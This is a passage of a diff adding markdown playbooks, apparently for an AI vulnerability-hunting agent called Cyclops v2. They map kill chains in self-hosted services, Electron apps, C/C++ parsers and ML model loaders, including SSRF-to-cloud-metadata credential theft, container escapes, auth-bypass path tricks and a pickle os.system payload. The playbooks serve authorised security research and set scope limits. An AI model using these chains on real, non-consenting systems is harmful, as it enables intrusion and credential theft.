+ pre-auth RCE class).
+ - **Argo CD/Workflows:** an exposed API → run a workflow template with a container we control.
+ - **Gitea/Forgejo:** git hooks / a malicious migration URL (SSRF) / a webhook→exec path.
+ - **MinIO/Harbor/Nexus:** default creds, an SSRF in the remote-fetch, an admin API exposed.
+- **Oracle:** the unauth/default path lands command output / a callback / a written canary → Family 1.
+
+### KC-2 - SSRF → cloud metadata → credential theft → cloud ATO (Family 7 → 3)
+These services constantly fetch URLs the user supplies (Grafana datasource proxy, Gitea migrate,
+webhook tests, image registries). An SSRF that reaches `169.254.169.254` (AWS), the GCP/Azure metadata
+endpoints, or an internal admin API steals the service's IAM credentials.
+- **Sinks:** the datasource/proxy fetch, the avatar/webhook/import URL fetch, any "test connection".
+- **The gate discipline:** a *bare* SSRF callback is **not** a finding (Family 7 trap). You must
+ **capture the metadata credential** and minimally prove it works → that's the Family 3 ATO.
+- **Oracle:** the IMDS token captured + a benign `GetCallerIdentity` confirming the role → Family 3.
+
+### KC-3 - Template / query injection → file read or RCE (Family 1 / 7)
+Grafana template variables, Metabase/Superset SQL, Prometheus/Alertmanager templates, Argo workflow
+templates - expression/template engines that can reach the FS or OS.
+- **Sinks:** the template render, the native-query executor, the alerting template (SSTI).
+- **Oracle:** template/query reads our canary secret (Family 7) or executes (Family 1).
+
+### KC-4 - Service → orchestrator takeover (Family 2)
+The service runs in a container/pod with a mounted Docker socket or a powerful K8s service-account.
+RCE in the service (KC-1) then pivots: read the SA token, hit the K8s API, schedule a pod, or use the
+Docker socket to escape to the node.
+- **Sinks:** `/var/run/docker.sock` mounted in, the SA token at
+ `/var/run/secrets/kubernetes.io/serviceaccount/token`, an over-scoped RBAC role.
+- **Oracle:** an action on the node / cross-namespace, per [[../00-doctrine/SEVERITY-GATE#family-2-container-vm-sandbox-hypervisor-escape-orchestrator-takeover|Family 2]].
+
+---
+
+## The dynamic oracle, concretely
+
+1. `docker run` the exact version in a disposable env with **planted canary cloud creds** (a fake IMDS
+ or a real throwaway role) and a canary secret file. Pin version.
+2. `test_unauth_access` / `discover_paths` / `discover_api_endpoints` to map the real auth surface
+ (path-normalization unauth bypasses are common - try `..;/`, `%2e`, double-slash, case).
+3. For SSRF: stand up a fake metadata endpoint + `start_callback_server`; require the **credential
+ capture**, not just the callback.
+4. REPLICA_CONFIRMED on the artifact; LIVE_CANARY only within explicit program scope (these are often
+ internet-exposed third-party installs - **do not** touch non-consenting ones; replica-first).
+
+---
+
+## BORING traps - do NOT spend time here
+
+- **"The service is exposed to the internet without auth."** That is a *port-scan observation*, the
+ start of Family 8, not a finding. The capability must fire (data read / RCE). v1 loved reporting
+ these as criticals - don't.
+- **Bare blind SSRF.** Per the gate and Zion's standing rule, never standalone - chain to metadata
+ cred or internal-admin or RCE.
+- **Default creds with nothing behind them / a read-only dashboard.** Prove the privileged action.
+- **Version-banner "vulnerabilities".** "Old Jenkins/Grafana" is not a finding; demonstrate it.
+- **Re-finding the public CVE (Metabase/Redis/Jenkins) on an unpatched box.** Sibling-CVE - that's a
+ patching observation, not novel research. Hunt fresh code/routes or a misconfig that yields *new*
+ impact.
+- **Self-DoS / crashing the service.** Not in scope of the gate families.
vault/01-archetypes/electron-desktop.md +117 -0
@@ -0,0 +1,117 @@
+---
+archetype: electron-desktop
+primary_gate_families: [1, 7]
+---
+
+# Archetype - Electron Desktop Apps
+
+Targets: Obsidian, Logseq, Cursor, Discord, VS Code-likes, Slack, Notion, and the long tail of
+Electron apps. The thesis: an Electron app is a **browser shipped with Node.js wired to the OS**. If
+attacker-controlled content reaches a renderer that can touch Node - directly via `nodeIntegration`,
+or indirectly via a leaked IPC/`preload` bridge - a content-level XSS becomes **local code execution**
+on the user's machine. That jump (web-bug → OS-RCE) is what makes this a [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Family 1]] archetype, not a web-XSS footnote.
+
+See: [[ai-agent-mcp]] (AI Electron apps overlap), [[cicd-supplychain]] (plugin/extension registries).
+
+---
+
+## Principals & trust boundaries
+
+- **Principals:** remote content authors (a markdown note, a webpage rendered in-app, a chat message,
+ a repo opened in the editor, a plugin author), the **renderer** process (web context), the
+ **preload** bridge, the **main** process (full Node + OS), the host user.
+- **Core boundaries:**
+ 1. *Untrusted content → renderer* (markdown, HTML, chat, a synced note, a workspace file).
+ 2. *Renderer → main* across the `contextBridge`/`ipcRenderer` (the security-critical seam).
+ 3. *External app → app* via the **custom protocol handler** (`obsidian://`, `cursor://`,
+ `discord://`) and deep links / file associations.
+ 4. *Plugin/extension → app core* (third-party JS running in-process).
+
+**Boundary map template:**
+```
+principals: remote-content-author | plugin-author | another-local-app | host-user
+trust inputs: markdown/HTML note, chat msg, opened repo files, deep link (custom://...),
+ .asar contents, plugin manifest+code, auto-update feed, workspace settings
+enforcement pts: nodeIntegration:false, contextIsolation:true, sandbox:true,
+ webSecurity, the contextBridge API allowlist, CSP, protocol handler arg parsing,
+ plugin permission model, update signature check
+cross-boundary
+sinks: renderer DOM sink reaching a bridged IPC that calls fs/child_process/shell ;
+ ipcMain handler doing shell.openExternal/exec/require on renderer-supplied arg ;
+ protocol handler passing arg into exec/file path ; preload leaking require/process
+confusion
+hypotheses: "contextIsolation is on but the bridge exposes a too-powerful method";
+ "one BrowserWindow/webview still has nodeIntegration:true";
+ "the custom-protocol arg flows into a shell without sanitization";
+ "asar integrity is unchecked so a swapped file runs"
+```
+
+---
+
+## Kill chains (each lands on a Gate family)
+
+### KC-1 - Renderer XSS → nodeIntegration / leaked bridge → RCE (Family 1)
+Find a DOM-injection in rendered content (markdown→HTML, a chat embed, an SVG/iframe, a
+`dangerouslySetInnerHTML`/`innerHTML` sink). Then find that the renderer can reach Node - either a
+window with `nodeIntegration:true`, OR a `contextBridge` method that ultimately calls
+`child_process`, `fs.writeFile`, `require`, or `shell.openExternal` with attacker data.
+- **Sinks to CPG-trace:** every `ipcMain.handle`/`on` whose handler reaches `exec`/`execFile`/`spawn`/
+ `fs`/`require`/`vm`/`shell.*`; every `contextBridge.exposeInMainWorld` surface; `webview`/`<iframe>`
+ with elevated perms; `webPreferences` with `nodeIntegration:true` or `sandbox:false`.
+- **Oracle:** the in-app XSS payload triggers `child_process.exec('id')`/writes our canary file → RCE.
+
+### KC-2 - Custom protocol handler argument injection (Family 1) *(pre-interaction, high value)*
+`obsidian://`, `cursor://open?file=...`, `discord://`, deep links and file associations let *another
+local app or a webpage* hand the target a string. If that string flows into a file path, a shell, or
+a "open this repo/file" routine, a malicious link → code execution with minimal user interaction.
+- **Sinks:** the `app.setAsDefaultProtocolClient` handler, `open-url`/`second-instance` event
+ handlers, anything parsing `argv` into `exec`/path/`loadURL(...)` (a `file://` or `javascript:` URL
+ into `loadURL` is itself an RCE bridge).
+- **Oracle:** a crafted `app://...` link from a webpage causes command execution / arbitrary file
+ open that fires our canary → Family 1.
+
+### KC-3 - ASAR / preload tamper & integrity bypass (Family 1)
+Apps often lack ASAR integrity checks; a local-write primitive (from another bug, or a malicious
+installer/update) that swaps a file inside `app.asar` or the preload runs as the app. More
+interesting remotely: a **preload script that leaks `require`/`process`** into the renderer defeats
+contextIsolation entirely.
+- **Sinks:** `webPreferences.preload` scripts that assign Node primitives onto `window`; missing
+ `enableEmbeddedAsarIntegrityValidation`; an auto-updater that fetches over HTTP or skips signature
+ verification (→ also [[cicd-supplychain]]).
+- **Oracle:** a tampered/leaked path yields code execution → Family 1.
+
+### KC-4 - Plugin / extension supply chain (Family 1, bridges [[cicd-supplychain]])
+Obsidian community plugins, VS Code/Cursor extensions, Logseq plugins run **in-process with full
+app/Node powers** and install from registries with weak review. A malicious or compromised plugin is
+straight RCE; the *novel* angle is a **core flaw that lets a low-trust plugin exceed its declared
+permissions**, or a plugin-update/registry takeover.
+- **Sinks:** the plugin loader, the (often nonexistent) permission boundary, the plugin update URL.
+- **Oracle:** a plugin doing what it shouldn't be able to → callback → Family 1.
+
+---
+
+## The dynamic oracle, concretely
+
+1. Pull the app's source / unpack the `.asar` (`npx asar extract`). Pin version.
+2. CPG/grep the **renderer→main seam**: enumerate every `ipcMain` handler and every `contextBridge`
+ export; for each, trace whether renderer-controlled args reach an OS sink.
+3. Stand up the app in a disposable VM. Inject the content-level payload (a malicious note / chat /
+ deep link) and watch for the canary (`/tmp/cyclops-$RAND`, a DNS callback).
+4. REPLICA_CONFIRMED = the canary fires from the desktop app on our own machine. LIVE_CANARY only if
+ the program/scope permits.
+
+Tooling: `analyze_js`/`audit_js_source` for the bundle, `joern_query` for IPC dataflow,
+`sandbox_create` for the disposable detonation VM, `start_callback_server`.
+
+---
+
+## BORING traps - do NOT spend time here
+
+- **Self-XSS / XSS that never reaches Node.** A renderer with `contextIsolation:true`, `sandbox:true`,
+ no powerful bridge, and a strong CSP - an XSS there is a web bug, not Family 1. Prove the Node jump
+ or it's cleared-axes.
+- **"Missing CSP" / "webSecurity could be off".** A config observation is not a finding; show the
+ exploit it enables.
+- **DevTools / `--inspect` local access.** Needs local access already; not a remote finding.
+- **Reporting a known Electron CVE for an outdated bundled Chromium.** Sibling-CVE / version-banner.
+- **A deep link that only navigates within the app** with no sink. Navigation ≠ execution.
vault/01-archetypes/memory-unsafe-parsers.md +121 -0
@@ -0,0 +1,121 @@
+---
+archetype: memory-unsafe-parsers
+primary_gate_families: [1]
+---
+
+# Archetype - Memory-Unsafe Parsers (Fuzz + ASan → Corruption → RCE)
+
+Targets: image codecs (libwebp, libjpeg-turbo, libpng, libtiff, OpenEXR, libheif, libavif),
+archive libs (libarchive, zlib/zstd/lz4, minizip, 7-Zip), font shapers (FreeType, HarfBuzz),
+serialization (protobuf C++, flatbuffers, msgpack-c, CBOR, ASN.1/OpenSSL), media demuxers (FFmpeg),
+document/XML (libxml2, expat), and any C/C++ library that turns a byte stream into a structure. The
+thesis: these are **pure functions from attacker bytes to memory operations**, written in C/C++,
+embedded *everywhere* (a libwebp bug is in every browser and Electron app), and they are the ideal
+target for the only oracle that never lies - **a sanitizer crash**. This is the purest
+[[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Family 1]] archetype, and it
+is the engine room behind [[ml-model-loaders]] (model files are just another parser input).
+
+See: [[ml-model-loaders]] (GGUF/safetensors/ONNX parsers - same mechanics, ML inputs). Tooling:
+`compile_harness`, `fuzz_start`/`fuzz_status`/`fuzz_get_crashes`, `boofuzz_session`, `triage_crash`,
+`angr_analyze`, `ghidra_decompile`, `r2_analyze`, `concolic_trace`, `run_klee`, `z3_solve`.
+
+---
+
+## Principals & trust boundaries
+
+- **Principals:** the content author (anyone who can hand the app a file/stream - a webpage serving an
+ image, an email attachment, a document, a network packet), the **parser library**, the host process.
+- **Core boundary:** *attacker bytes → parse routine → memory operation*. There is no user, no auth,
+ no session - just a format and a function. The "trust input" is the entire file format spec, and
+ every length/count/offset/index field in it is attacker-controlled.
+
+**Boundary map template:**
+```
+principals: content-author(untrusted bytes) → parser library → host process
+trust inputs: every header field, chunk length, element count, dimension, offset, index,
+ compression ratio, and nested-structure depth in the format
+enforcement pts: bounds checks before memcpy/index, integer-overflow checks on size math,
+ recursion/iteration limits, allocation-size sanity, the "is this offset inside
+ the buffer" validations
+cross-boundary
+sinks: memcpy/memmove/memset with file-derived length ; array index from file field ;
+ malloc(a*b) where a*b can overflow ; alloca/VLA from file size ; pointer arithmetic
+ base+offset ; type/enum field indexing a function/size table ; recursive parse
+confusion
+hypotheses: "chunk_length is trusted before checking remaining buffer";
+ "width*height*bpp overflows size_t before the alloc";
+ "a negative/huge offset isn't validated against buffer bounds";
+ "the type byte indexes a handler table without a range check";
+ "decompressed size is trusted from the header"
+```
+
+---
+
+## Kill chains (all land on Family 1)
+
+### KC-1 - Integer overflow in size math → undersized alloc → heap overflow
+The single most productive bug class. A `width * height * channels`, `count * elem_size`, or
+`n0*n1*n2` multiply overflows `size_t`/`int`, the wrapped-small value is passed to `malloc`, then the
+real (large) data is `memcpy`'d in → heap overflow with attacker bytes.
+- **CVE class to cite:** the libwebp `BuildHuffmanTable` overflow (CVE-2023-4863, the "everything that
+ embeds Chromium" bug), countless libtiff/OpenEXR/FFmpeg integer-overflow heap overflows.
+- **Sinks to CPG-trace:** every `malloc`/`calloc`/`realloc`/`alloca` whose size arg is a *product* or
+ *sum* of file-derived values; pair each with the subsequent `memcpy`/write loop.
+
+### KC-2 - Missing bounds check before memcpy / OOB index
+A chunk-length, offset, or array-count field is *trusted* and used to copy/index before validating it
+against the remaining buffer. → OOB read (info leak / DoS) or OOB write (corruption).
+- **Sinks:** `memcpy(dst, src, file_len)`, `buf[file_index]`, `base + file_offset` deref; the classic
+ "read `n`, then loop `n` times reading more without checking we have `n` left".
+
+### KC-3 - Type/enum confusion → wrong-size handler / OOB table index
+A type/format byte selects a handler or a per-type size from a table; an out-of-range or unexpected
+value indexes the table OOB or invokes a handler that mis-sizes the data. (ggml `ggml_type` table,
+image color-type dispatch, ASN.1 tag handling.)
+
+### KC-4 - Decompression / recursion bombs into corruption (not just DoS)
+A header-declared decompressed size is trusted for an alloc while the actual stream writes more
+(or a nested-structure depth has no limit and overflows the stack). **Discipline:** a pure
+zip-bomb/OOM is DoS → cleared-axes, **not** Family 1. Only a *corruption* (controlled OOB write)
+counts. Don't dress DoS as RCE.
+
+---
+
+## The dynamic oracle - this is the whole archetype
+
+The oracle is **non-negotiable and unambiguous**: a sanitizer crash with a *controlled* fault.
+
+1. `clone_repo` the freshest in-scope parser; pin the commit. Prefer a library that just merged a new
+ format/feature (unfuzzed code - see [[../06-methods/NOVELTY-DOCTRINE]]).
+2. `compile_harness` with `-fsanitize=address,undefined` (add MSan for uninit-read hunts). If the
+ project has an OSS-Fuzz harness, **re-run it on the new commit** - OSS-Fuzz fuzzed yesterday's code,
+ not today's PR.
+3. `fuzz_start` (libFuzzer/AFL++) with the parse entry point as the target and **valid sample files as
+ the seed corpus** (coverage-guided needs good seeds). For structured formats, a `boofuzz_session`
+ or a format-aware mutator beats dumb flips.
+4. `fuzz_get_crashes` → `triage_crash`. **Classify the fault:**
+ - heap/stack **write** to attacker data, or **PC control** → strong Family 1 candidate.
+ - OOB **read** of secrets → Family 7 (info leak) candidate.
+ - null-deref / divide-by-zero / assertion / OOM → **DoS → DISPROVEN for RCE**, cleared-axes.
+5. For a write/PC-control crash, escalate exploitability: `angr_analyze` / `concolic_trace` /
+ `z3_solve` to show attacker control of the corrupted pointer/size; `ghidra_decompile`/`r2_analyze`
+ to confirm the primitive. The minimized crashing file is the REPLICA_CONFIRMED artifact.
+6. The *finding* claim scales with what you proved: "controlled heap overflow, PC control demonstrated"
+ is Family 1; "OOB read crash, exploitability unproven" stays SOURCE_CONFIRMED until you show the
+ write/control. Do not over-claim a read-crash as RCE.
+
+---
+
+## BORING traps - do NOT spend time here
+
+- **Calling every crash "RCE".** A null-deref or an `abort()` is a **DoS**, not RCE, and DoS is not a
+ [[../00-doctrine/SEVERITY-GATE|gate]] family. Triage honestly; most fuzz crashes are DoS.
+- **OOM / zip-bomb / "huge allocation".** Resource exhaustion ≠ memory corruption. Cleared-axes.
+- **Re-finding a known CVE in an old library version.** Sibling-CVE / patch-status observation. Fuzz
+ **fresh** code, new formats, new ports.
+- **Unreachable code paths.** A crash in a parse path the real application never invokes (a disabled
+ feature, a non-default codec) is low-value until you show a real consumer reaches it.
+- **A crash you can't reproduce on a clean rebuild.** Flaky ≠ confirmed; downgrade per
+ [[../00-doctrine/OPERATING-CORE#3-proof-labels-the-four-states-a-candidate-can-be-in|proof labels]].
+- **Stopping at "it crashes".** A crash is the *start* of exploitability analysis, not the end. For
+ the RCE claim, show attacker control of the corruption.
vault/01-archetypes/ml-model-loaders.md +201 -0
@@ -0,0 +1,201 @@
+---
+archetype: ml-model-loaders
+headline: true
+primary_gate_families: [1, 7]
+---
+
+# Archetype - ML Model Loaders & Inference Runtimes (HEADLINE)
+
+**This is the highest-yield archetype for Cyclops v2.** The thesis: model files are *executable
+attack surface masquerading as data*. The entire ML ecosystem ships parsers and deserializers that
+run at **load time**, before any inference, often in C/C++ with weak bounds checking, written fast,
+shipped weekly, and consumed by millions who treat a downloaded `.gguf` / `.safetensors` / `.pt` /
+`.onnx` as inert. It is not inert. A model is a program.
+
+Two distinct kill-chain classes live here and you must hunt both:
+- **(A) Deserialization-as-design** - formats that *intentionally* execute code (pickle, joblib,
+ arbitrary Python in custom nodes). The bug is the trust, not a memory error.
+- **(B) Parser memory-corruption** - formats that *claim* to be safe data (GGUF, safetensors, ONNX
+ protobuf, NPY) but whose C/C++ parsers have OOB read/write, integer overflow, type confusion. The
+ bug is in the loader, and the oracle is ASan.
+
+See: [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Gate Family 1]] ·
+[[memory-unsafe-parsers]] (sister archetype for the pure-parser fuzzing mechanics) ·
+[[ai-agent-mcp]] (model loaders reached *over the network* via inference servers).
+
+---
+
+## Principals & trust boundaries
+
+- **Principals:** the model *author/publisher* (untrusted - anyone on HuggingFace Hub, Civitai, an
+ npm/PyPI package, a torrent), the *runtime/library* (the thing parsing the file), the *host user*
+ (whose process and credentials the load runs as).
+- **The core trust boundary:** *"downloaded model file → load function"*. Every user who does
+ `from_pretrained(...)`, `llama_load_model_from_file(...)`, `onnxruntime.InferenceSession(...)`,
+ `torch.load(...)`, `joblib.load(...)`, `comfyui` "drag this workflow in" - crosses it.
+- **Why it's so wide:** model sharing is the *entire culture* of the field. The file is meant to be
+ passed around. The trust boundary is crossed billions of times a day and almost no consumer thinks
+ of the file as code.
+
+**Boundary map (fill this per target):**
+```
+principals: [model publisher (untrusted)] → [loader lib] → [host process / user creds]
+trust inputs: .gguf | .safetensors | .pt/.pth | .onnx | .npy/.npz | .pkl | .joblib |
+ .bin (HF) | workflow.json (ComfyUI) | model_index.json | tokenizer.json |
+ config.json | *.gradio cache | adapter_config.json (PEFT/LoRA)
+enforcement pts: header magic check, version gate, "weights_only" flag, allowlist of globals,
+ tensor-count/dim sanity checks, mmap bounds, protobuf size limits
+cross-boundary
+sinks: pickle.Unpickler.find_class / __reduce__ ; numpy buffer parse ;
+ memcpy/alloca from file-controlled length ; ggml tensor dim multiply ;
+ protobuf arena alloc ; eval/exec in custom node ; os.system in workflow
+confusion
+hypotheses: "weights_only=True is actually bypassable here"; "the header length field is
+ trusted before the file size is checked"; "n_dims * n_elements overflows size_t";
+ "the allowlist misses one __reduce__-able global"; "the safe format has an
+ unsafe metadata side-channel"
+```
+
+---
+
+## Kill chains (each lands on a Gate family)
+
+### KC-1 - Pickle / `__reduce__` deserialization → RCE (Class A)
+The classic and *still* live. `pickle` calls `__reduce__` on unpickling, which can return
+`(os.system, ('id',))`. PyTorch `.pt`/`.pth` are zip files containing a pickle. `joblib`/sklearn
+`.pkl`, many HF `.bin` legacy weights, are pickles.
+- **Sinks:** `pickle.load`, `pickle.Unpickler.find_class`, `torch.load(..., weights_only=False)`,
+ `joblib.load`, `numpy.load(..., allow_pickle=True)`, `dill.load`, `cloudpickle.load`.
+- **The fresh angle (novelty, not sibling-CVE):** everyone knows raw pickle is dangerous. The novel
+ bugs are in the **allowlist bypasses** of the "safe" loaders: `weights_only=True` (PyTorch's
+ defense) has had repeated bypasses (e.g. via allowed globals that themselves reach dangerous
+ reductions; via `torch.storage` / rebuild functions; via nested types the allowlist forgot). Hunt
+ the *allowlist*, the `_get_allowed_globals` table, the `GLOBAL`/`REDUCE` opcode handling - find one
+ reachable dangerous global the allowlist trusts.
+- **Oracle:** loading the crafted model fires a callback / writes `/tmp/cyclops-$RAND` → Family 1.
+- **CVE class to cite & avoid duplicating:** CVE-2025-class PyTorch `weights_only` bypasses,
+ `numpy.load` allow_pickle RCE, the perennial sklearn/joblib pickle RCE. Check the feed first.
+
+### KC-2 - GGUF / GGML parser memory-corruption → RCE (Class B) *(prime hunting ground)*
+`llama.cpp` and everything built on it (Ollama, LM Studio, text-generation-webui, countless wrappers)
+parse GGUF with hand-written C. The format has a header → metadata KV array → tensor-info array →
+tensor data, all with **file-controlled length and count fields**.
+- **Sinks to CPG-trace:** `gguf_init_from_file`, `gguf_read_emplace`, the KV-pair reader
+ (`gguf_kv` / `gguf_get_arr_*`), `ggml_new_tensor`, `ggml_nbytes`, `ggml_row_size`, and every
+ `malloc`/`GGML_MALLOC`/`memcpy` whose size derives from a file field.
+- **Bug shapes:** integer overflow in `n_dims * ne[i] * type_size` → undersized alloc → heap
+ overflow on tensor copy; an array `n` count read before validating it against remaining file size →
+ OOB read; a metadata string length field trusted into a `memcpy`/`malloc`; type/enum confusion in
+ `ggml_type` indexing a per-type size table OOB.
+- **Oracle:** build `llama.cpp` (or the wrapper) with `-fsanitize=address`, feed the crafted `.gguf`,
+ get the ASan report with a controlled fault → Family 1 (SOURCE/REPLICA). Escalate to control of
+ RIP/allocations for the full RCE claim.
+- **CVE class:** the GGUF heap-overflow / OOB family (multiple 2024 llama.cpp advisories). Novelty =
+ a *different* field or a wrapper that re-implemented the parse and reintroduced the class.
+
+### KC-3 - safetensors metadata / header parse (Class B, the "safe format" trap)
+`safetensors` was designed to *be the safe alternative* to pickle - no code execution by design. That
+makes it the perfect place for a novel bug, because everyone assumes it can't have one.
+- **Surface:** the 8-byte little-endian header length, then a JSON header describing each tensor's
+ `dtype`, `shape`, and **byte offsets** `[begin, end]` into the buffer. The Rust core is memory-safe,
+ but: (a) the **offset/shape arithmetic** - does `begin..end` get validated against the buffer and
+ against `shape × dtype_size`? An offset overflow or a mismatch can yield OOB; (b) **language ports** -
+ C++/Zig/Go re-implementations and the C ABI consumers don't get Rust's guarantees; (c) the JSON
+ metadata fed to a *downstream* consumer that does something unsafe with it.
+- **Sinks:** `SafeTensors::deserialize`, the offset-validation routine, and any C/C++ reimpl's
+ `memcpy(dst, base+begin, end-begin)`.
+- **Oracle:** ASan crash on a port, or a proven OOB read returning out-of-tensor bytes.
+
+### KC-4 - ONNX / protobuf model graph → parse corruption or operator abuse (Class B)
+ONNX Runtime parses a protobuf graph then *builds and runs operators*. Two sub-surfaces:
+- **Protobuf/loader corruption:** `onnx::ModelProto` parse, external-data references (an ONNX model
+ can point at an *external* data file path - path traversal / arbitrary file read sink), and the
+ shape-inference pass (`onnxruntime::...ShapeInference`) doing arithmetic on attacker dims.
+- **Operator-level:** custom ops, the `Scan`/`If`/`Loop` control-flow ops, and ops that allocate from
+ attacker-controlled dims. ORT has a real history of heap overflows in op kernels.
+- **External-data trap (Family 7):** the `external_data` location field can be a path → arbitrary
+ file read at load. Cite the ONNX external-tensor path-traversal class.
+- **Sinks:** `onnxruntime::Model::Load`, `LoadExternalTensor`, op `Compute()` kernels with dim-derived
+ allocs. **Oracle:** ASan crash, or the external-data path reading our canary file → Family 7.
+
+### KC-5 - ComfyUI custom nodes / workflow.json → RCE (Class A, social)
+ComfyUI workflows are shared as JSON/PNG-embedded graphs that reference **custom nodes** (arbitrary
+Python packages auto-installed from a registry). "Load this cool workflow" → pulls a custom node →
+runs its `__init__` / node code.
+- **Sinks:** the custom-node loader (`nodes.py` import path), any node calling `eval`/`exec`/
+ `subprocess`/`os.system` on workflow-supplied strings, the model-manager auto-download.
+- **This is also a [[cicd-supplychain|supply-chain]] / [[ai-agent-mcp|agent]] surface** - rotate the lens.
+- **Oracle:** importing/running the malicious workflow fires a callback → Family 1.
+
+### KC-6 - Gradio / model-server file & SSRF surface (Family 7, bridges to [[ai-agent-mcp]])
+Gradio (the demo UI under most HF Spaces and local model demos) has a history of path traversal
+(`/file=` arbitrary file read) and SSRF in the proxy/`/queue` paths.
+- **Sinks:** the `/file=` route's path resolution, the URL-fetch in upload/proxy handlers.
+- **Oracle:** read our canary secret via `/file=` (Family 7) or land SSRF→metadata.
+- **CVE class:** Gradio `/file=` traversal (CVE-2023/2024 class), Gradio SSRF. Find the *new* route.
+
+### KC-7 - Tokenizer / config side-channels (Class A/B, the overlooked input)
+Even with "safe" weights, the *accompanying* files load too: `tokenizer.json`,
+`tokenizer_config.json`, `config.json`, `generation_config.json`, `chat_template` (a **Jinja2
+template** → SSTI sink!), `adapter_config.json` for PEFT/LoRA. The `chat_template` Jinja2 is a real
+[[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|SSTI→RCE]] surface - HF added
+a sandbox; hunt the sandbox bypass.
+- **Sinks:** `jinja2.Environment` rendering the chat template, any `eval`-ish config parse, the
+ `trust_remote_code=True` path (which literally imports model-repo Python - a known but still-fertile
+ RCE: hunt where `trust_remote_code` defaults true or is reachable without the flag).
+- **Oracle:** template/remote-code executes → Family 1.
+
+---
+
+## The dynamic oracle, concretely (this archetype's whole point)
+
+For **Class B (parser memory-corruption)** the pipeline is:
+1. `git clone` the freshest in-scope loader. Pin the commit.
+2. Build with `-fsanitize=address,undefined` (or use the project's fuzz harness if present -
+ `llama.cpp` ships `tests/`, ORT has fuzzers, many have OSS-Fuzz targets you can *re-run on new code*).
+3. Write a libFuzzer/AFL++ harness whose entry is the **load function** (`gguf_init_from_file`,
+ `safetensors deserialize`, `Model::Load`). Seed with a real valid model, mutate.
+4. Run; collect crashes; **`triage_crash`** to confirm a *controlled* fault (write to attacker data,
+ PC control, OOB on heap with our pattern). A null-deref / pure read-DoS is **DISPROVEN for RCE**
+ per [[../00-doctrine/SEVERITY-GATE#family-6-mass-data-exfil-financial-impact|the gate]] - log it,
+ do not dress a DoS as critical.
+5. Minimize the crashing model file; that file *is* the REPLICA_CONFIRMED artifact.
+
+For **Class A (deserialization)** the oracle is direct: craft the malicious model, load it in a
+disposable container, observe the callback/file-write. No fuzzing needed - the proof is the popped
+shell.
+
+Relevant tooling in the kit: ASan/UBSan builds, libFuzzer/AFL++/`boofuzz`, `joern_query` &
+`codeql_query` for the source→sink path, `triage_crash`, a disposable `sandbox_create` to detonate
+Class-A models, `start_callback_server` for the RCE callback.
+
+---
+
+## BORING traps - do NOT spend time here
+
+- **"`torch.load` runs arbitrary pickle."** Known since forever. Reporting raw-pickle RCE against a
+ tool that *documents* "only load models you trust" is a non-finding. The finding is the
+ **safe-path bypass** (`weights_only=True` defeated, allowlist escaped, a "safe" format corrupted).
+- **Null-deref / assertion-abort / pure read-DoS in a parser.** Not RCE. Cleared-axes hardening note.
+- **"This model could be malicious."** Of course it could. That is the threat model, not a bug. The
+ bug is a *specific* loader flaw with an *artifact*.
+- **Re-finding a public llama.cpp/ORT CVE in an old checkout.** Sibling-CVE. Hunt code days old.
+- **Out-of-memory from a huge dim field.** Resource exhaustion ≠ corruption. Verify it's actually an
+ OOB write before getting excited.
+- **Gradio version banner / "old Gradio".** Version-based "findings" are not findings; prove the route.
+
+---
+
+## Where the novel bugs actually are (steer here)
+
+1. **Allowlist / safe-mode bypasses** in the *defenses* (`weights_only`, find_class allowlists, the
+ chat-template sandbox, safetensors offset validation). The defense is newer code than the format.
+2. **Re-implementations** - a Go/C++/Zig/Rust-C-ABI port of a "safe" format that dropped a check.
+3. **Integer arithmetic on attacker dims** - `n0*n1*n2*type_size` overflow before alloc. Grep/CPG for
+ every multiply feeding a `malloc`/`memcpy` in `ggml`, ORT kernels, NPY/`safetensors` consumers.
+4. **External-reference fields** - ONNX `external_data` path, GGUF embedded paths, anything where the
+ model file names *another* file/URL → traversal / SSRF (Family 7).
+5. **The accompanying files** - tokenizer/chat-template/config that load alongside "safe" weights and
+ reach Jinja2/`trust_remote_code`/eval.
+6. **Freshly-merged format extensions** - a new GGUF KV type, a new ONNX opset, a new quant format
+ landed last week. New parse code = unfuzzed code. See [[../06-methods/NOVELTY-DOCTRINE]].
vault/04-cleared-axes/README.md +72 -0
@@ -0,0 +1,72 @@
+# 04-cleared-axes - The Anti-Tunnel-Vision Memory
+
+This is Cyclops v2's **breadth memory**. Every time an axis is screened and does not yield a
+[[../00-doctrine/SEVERITY-GATE|gate-family]] finding, it is logged here - *before* moving on (the
+[[../00-doctrine/OPERATING-CORE#4-the-anti-drift-rule-log-cleared-axes-rotate-archetypes|anti-drift rule]]).
+The log exists so the agent:
+
+1. **Never re-screens the same (target, archetype, axis)** - no re-walking cleared ground.
+2. **Can prove it covered breadth**, not just depth on one tunnel - the v1 failure.
+3. **Has somewhere to put low/medium hardening notes** so they never leak into a finding report (the
+ [[../00-doctrine/SEVERITY-GATE|gate]] forbids off-path reports; this is where those observations go).
+
+An entry here is **not** a failure. A clean **DISPROVEN** is a completed unit of work
+([[../00-doctrine/OPERATING-CORE#5-disproven-is-a-success|DISPROVEN is a success]]).
+
+---
+
+## Entry format
+
+One row per cleared axis. Append-only. Use this exact schema (markdown table or one file per target -
+table is fine to start).
+
+| Field | Meaning |
+|---|---|
+| `date` | ISO date the axis was cleared (YYYY-MM-DD). |
+| `target` | The software + **pinned version/commit** (novelty depends on the exact tree). |
+| `archetype` | Which [[../01-archetypes/electron-desktop|archetype lens]] was applied. |
+| `axis` | The specific kill-chain / sink / hypothesis screened (be precise - name the sink/route). |
+| `result` | `DISPROVEN` \| `SOURCE_CONFIRMED-stalled` \| `SIBLING-CVE` \| `HARDENING-NOTE` \| `OUT-OF-SCOPE`. |
+| `oracle` | What was driven and what it returned (e.g. "ASan fuzz 6h, only null-deref DoS"; "no artifact"). |
+| `reason` | *Why* it cleared - the guard found, the missing control, why no gate-family path. |
+| `revisit` | A condition that would reopen it (e.g. "if new GGUF KV type lands", "if auth is disabled"), or `none`. |
+
+### Result-code meanings
+
+- **DISPROVEN** - drove the oracle, the impact did not materialize. The strongest clear. Permanently
+ retired unless `revisit` fires.
+- **SOURCE_CONFIRMED-stalled** - a real source→sink path exists but the oracle couldn't be driven yet
+ (couldn't build a replica, needs a primitive we don't have). Parked, not dead.
+- **SIBLING-CVE** - the candidate matched an existing public CVE/advisory (per
